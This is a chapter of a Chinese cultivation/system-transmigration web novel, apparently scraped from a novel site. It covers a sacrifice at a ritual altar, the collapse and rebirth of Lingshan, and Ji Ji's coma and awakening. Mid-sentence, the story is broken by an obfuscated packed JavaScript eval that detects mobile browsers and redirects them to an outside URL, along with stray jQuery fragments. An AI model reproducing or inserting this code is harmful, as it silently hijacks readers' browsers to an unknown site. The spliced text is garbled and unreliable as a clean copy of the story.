邹旎和乔恭费了牛鼻子大的劲儿才重新进入桃下,自从上次一别,这个地方越发鬼气森森了,她有些犹豫,“我还是得献祭,大家才能活吗?”
乔恭正在布置祭坛,他手脚麻利,闻言有些疑惑,“谁叫你献祭了,是......柳掌门献祭,你拿的那三张符,是她的命符。”
乔恭最后一句好似只在给自己说,“她早就不想活了。”
邹旎掏出那三张符来,紧急地看了一眼——根本看不懂,“那我们现在怎么办?”
乔恭从邹旎手上接过眼鼎,摇头道,“没办法,邵朗枝修行的功法一旦灵气爆开,太羽涯将无一人生还。”
“他只是个老头子,没一点办法吗,世间万物相生相克......”
乔恭指了指祭坛,“是相克的......喏,就在那儿,几百年前献祭,选择了三方阵眼,每填定一处阵眼,周边皆会被吸干灵气,百余年才能缓过来,我想你们的鼎应该是从上一个阵眼处所得吧。”
邹旎回忆起,卫家庄鼎出现的那个院子,鼎的确是在那里发现,“这里是第二个,那第三个阵眼在何处?”
“第三个便是灵山,在东南凌虚塔。”乔恭接过邹旎手中的三张符,“事不宜迟,将这个给我。”
“献祭后,柳......掌门会怎样?”邹旎将那符没给,只是问道。
“若是合适人选,世间灵气会重新复苏,撑个一两百年,若是不合适一两年也够呛。”
邹旎紧紧握着那命符,“只有献祭这一个办法吗?”
乔恭点头,但他见邹旎不给他命符,便叹了口气,从怀里重新拿出三张符,“用这个吧。”
“你......”邹旎低声道,“这是你的命符?”
“我去献祭正好,不出一年,世界就安稳了。”乔恭接过邹旎手中柳三叶的命符,叠好整齐地装进口袋,“灵山那群人的做派,三叶很早便看不惯了,你和祁霁是要去那里吧。”
邹旎点点头,心上像是堵了一口气,不上不下的,这破地方非得你死我伤才行吗?
“我终于知道为何你是下一任献祭者了。”
邹旎干涩的喉咙发出沙哑的声音,“为何?”
乔恭只是摇了摇头,缓缓地将自己的三张符掏出来燃尽放到鼎中,“开始吧,逆时针你的三滴血。”
邹旎摇摇头,乔恭近乎安慰道,“她其实早猜到了,这样一来我和她两清了。”
柳三叶缓缓将自己移到僻静之处,看着邵朗枝与那两位缠斗,她在西边的晚霞中缓缓站起身,双腿仍然有些酸软,但是已经好很多,她微笑着等待远方的轰鸣声,不知何时已经有了细纹的眼角落下一滴泪。
伴随着这滴泪的下落,一声大地的震颤从每个人脚下传来,近乎哀嚎的远古巨响裹着飞沙走石借着风铺天盖地地席卷而来,五湖四海的人们几乎是同一时间望向同一个方向。
——苟延残喘的灵山彻底塌了。
仿佛地裂般的颤抖维持了近一盏茶的时间,柳三叶伸出掌心,一股淡蓝色的灵力如同火苗般颤颤巍巍地抖动,但又很快偃旗息鼓,邵朗枝膨胀的身躯仿佛瞬间被抽走了精气神,顿时瘪了下去。
新的灵山拔地而起,无数先驱者的尸骸藏于其中,因为只启动了一个阵眼,灵山的力量只能来自于太羽涯,邵朗枝顿时被吸干,再无爬起来的可能性。
祁霁惆怅地望向东南方向,完蛋了,他把宿主作死了。
谁知下一秒,邹旎灰头土脸地就从不知道哪个犄角旮旯里钻了出来,她也没想到那三滴血刚滴上去后产生的威力如此之大。
祁霁喜上眉梢,冲邹旎飞奔而来,邹旎一抬眼也瞧见了他,笑意直达眼底,不过还没等两人反应过来,面具从上而下俯冲而来,巨大的冲力让两人暴力融合,四下烟尘顿起,霍连也看呆了,他还想跟祁霁说两句话呢,谁知俩祁霁先打起来了。
邹旎的笑还没收回,祁霁的眉梢也还弯着,却是瞬间就轻飘飘地倒在了她面前,邹旎快步冲过去,将对方接到怀里。
林牧捡到了地上的那根木簪,就在邵朗枝那张泄了气的皮旁边,身边叨叨的人还在说话。
“小师妹,你快跟我回去吧,林师父的事情我们再商量......”
可她也没听进去,那个神仙被关心他的人带了回去,她也不知道这簪子怎么用。
“我没有答应我师父,我会将林师父毕生所学还给你......”
对方说到此处,林牧转过身朝他伸出手,“那你现在就将秘籍给我。”
对方却一下支支吾吾起来,“我得请示师父......”
林牧将木簪别在头上,它的主人能自己得道靠她自己也能,“我不回去了,我把我自己逐出师门,你回去吧,告诉你师父,偷来抢来的总归心中难安,你让他在剑宗稳坐高台给我等着,我会拿回我师父的一切。”
“你也不能这么说我师父......他对我还是很好的。”
林牧对他这番话并未做反应,只是毫不在意地点点头,“我走了。”说罢挥了挥手,消失在幕沉沉的晚霞中。
“我输了,本想等他醒来,”霍连低声道,“但我还是无颜见他。”
邹旎往屋内还在昏迷中的祁霁脸上瞥了一眼,那晚回家后,祁霁随身的头骨消失了,善德先是全身诊断了一次,没查出什么异样,又轮番请了好几个大夫,也连连摇头看不出,说人是好的,该有的什么零件也都在,就是人还睡着。
“那你去哪儿?”邹旎觑了一眼霍连。
“北归的族人兴许还没走远,我赶赶路护送他们回家。”
“东南多险路,你们小心。”
邹旎目送霍连远去,从腰间扯下一块玉佩递给候枣,这是某天邹旎给祁霁换衣裳的时候掉出来的,几乎不用想,就知道这是留给候枣的。
“他给你留的,你去试试,若是不成,等他醒来专去看看你兄长。”
候枣兄长的尸体还在西山寺停着,候枣这几日没提,其实就连她心里都觉得可能真的没希望了,毕竟他的兄长是第一批失踪修士里的,时间太久远。
“他究竟是怎么了?”候枣对着祁霁道,邹旎也摇了摇头。
面具竟然真的是祁霁,邹旎想起这件事就觉得匪夷所思,祁霁昏迷了,系统就给邹旎说宿主2号有生命危险,于是这几日祁霁没醒,优先级自动降到了邹旎这里。
“他的任务是什么?怎么算通关,他有金手指吗?”邹旎在心中一连串问了一堆。
小方块没精打采地回答,“保密,保密,没有。”
问了仨,俩保密,不如别说,邹旎撇撇嘴,突
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436010|166086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然想到了什么凑到祁霁额头上方,用手轻轻拨开两边的发梢,趁着主人没醒,她的食指轻轻捻过眼角,一颗红痣果然在那里。
但是面具却没有,邹旎没收回手,边给祁霁的五官打分便问小方块,“那面具和祁霁哪个是宿主2号?”
这个问题竟然将小方块难住了,它支支吾吾半天没回答,邹旎点了点祁霁的鼻尖,“嗯,看来是同一人,鼻子一百分。”
“嘴唇么......”
想着想着邹旎的思想就开始抛锚,祁霁鬓角有些长,不过却和耳朵下方平齐,显得规整,耳朵不大,有些精简倒是显得聪明,下颌角略微有些起伏,直直拉到下巴处,再往下就是喉结,从侧面看是一个凸起,正面却不张扬,汇聚成一点,从上俯瞰,嘴唇略薄,是个薄情寡义的唇,可那唇色却深了一些,冲淡了寡情倒又偏向了情深那一挂。
“你是要将我吃了?”上方传来一句沙哑的声音,是躺久了的人甫一开口的嗓音,邹旎慌忙起身,“哈哈哈,你醒了,怎么不提前说一声呢?”
“渴不渴?饿不饿......”邹旎有些慌不择路,给祁霁拿了一个茶碗来,祁霁没接,她低头一瞧,哦,里边没水。
祁霁失笑,拉住邹旎的袖子,“不着急喝水。”
邹旎:“那你饿了?你等等。”说着又要往出走,祁霁扶了扶有些发蒙的头,“有件事问你。”
邹旎闻言终于不忙活了,“什么?”
祁霁好整以暇地靠在墙边,端的一副谦谦公子模样,如果忽略邹旎给他穿的乱七八糟的衣服的话,“你给我的唇打几分?”
邹旎瞬间闹了个大红脸,但现下他俩这场面,祁霁一副慵懒的主夫模样,邹旎反倒像个刚把人劫掠回来的山大王。
“零分,太刻薄。”说罢邹旎就去了外面,给祁霁买饭吃。
等屋内只剩祁霁一人后,他才将凌乱的头发整理好,掀开胸前的衣裳,心口处被玉佩灼烧过的伤竟然呈现微微腐败之像。
“没时间了,你的灵山一没,我俩就离魂飞魄散不远了。”
听到这道声音,祁霁皱眉,“我知道。”
“而且你的通关任务不就是复仇吗?你俩快分开单过吧,她干她的,你带上她也是个累赘。”那道声音像是没办法看到有人顶着自己的脸打情骂俏,虽然这在祁霁看来根本算不上。
“我的任务保密。”祁霁忍不住开口怼他,顿了顿又想起邹旎,“她不是累赘,你不觉得......她像火吗?”
那道声音无语了一瞬,觉得自己跟自己说话有些吃力,便道:“你别跟我犟,诸多线索表明,复仇就是你的任务,明天就启程去凌虚塔,先把傀儡虫母取来,哦还有,那女人身上有一只傀儡虫,不知道是什么时候钻进她体内的,可能是邵朗枝种的。还有我觉得她就算是火,顶多烛火那么大!”
“烛火也行呢,”祁霁并不觉得烛火是个什么不好的,不过,“她怎么会有傀儡虫?”祁霁没想明白,而且邵朗枝不应该啊,他的傀儡虫有限,平常熬汤用,精贵的很,哪会用于给抓去的人身上种虫这种纯纯浪费行为。
“不知道,反正我的傀儡丝闻到了。”
说罢,祁霁袖口伸出一根白色的丝线,仿佛有生命一般缠住了他的小拇指,坚韧有力。
“我知道了。”